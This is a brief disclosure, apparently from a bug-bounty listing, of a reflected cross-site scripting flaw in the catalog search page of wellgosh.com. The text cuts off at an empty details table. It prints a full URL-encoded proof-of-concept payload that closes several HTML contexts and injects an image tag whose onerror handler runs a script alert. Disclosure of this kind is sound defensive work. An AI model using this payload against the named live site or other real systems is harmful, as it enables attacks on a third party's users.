wellgosh.com XSS vulnerability

Vulnerable URL: https://wellgosh.com/catalogsearch/result/?q=%27;%22%3E%29;%29;%29--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOPENBUGBOUNTY%3C/h1%3E-%3C/marquee%3E-%3Cimg/src%3dx%20onerror%3dalert%28/OPENBUGBOUNTY/%29;%3E;%27 Details: Description| Value ---|---...